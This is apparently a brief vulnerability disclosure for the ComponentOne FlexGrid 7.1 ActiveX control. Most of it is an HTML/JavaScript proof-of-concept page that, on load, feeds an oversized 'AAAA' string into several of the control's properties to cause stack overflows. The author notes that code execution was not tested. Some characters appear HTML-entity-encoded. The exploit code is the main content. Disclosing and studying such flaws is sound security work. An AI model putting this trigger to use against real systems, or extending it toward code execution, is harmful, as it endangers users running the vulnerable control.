The ComponentOne FlexGrid 7.1 (VSFlexGrid.VSFlexGridL) has multiple stack overflows. I have not tested code execution nor do I remember what this component was installed with. PoC as follows:

<!–

–>
<html>
<head>
<script language="JavaScript" DEFER>
function Check() {
var s = "AAAA";

 while &#40;s.length &lt; 262145&#41; s=s+s;

 var obj = new ActiveXObject&#40;&quot;VSFlexGrid.VSFlexGridL&quot;&#41;;
 
 obj.Text = s;
 obj.EditSelText = s; 
 obj.EditText = s;
 obj.CellFontName = s;

}
</script>

</head>
<body onload="JavaScript: return Check();" />
</html>
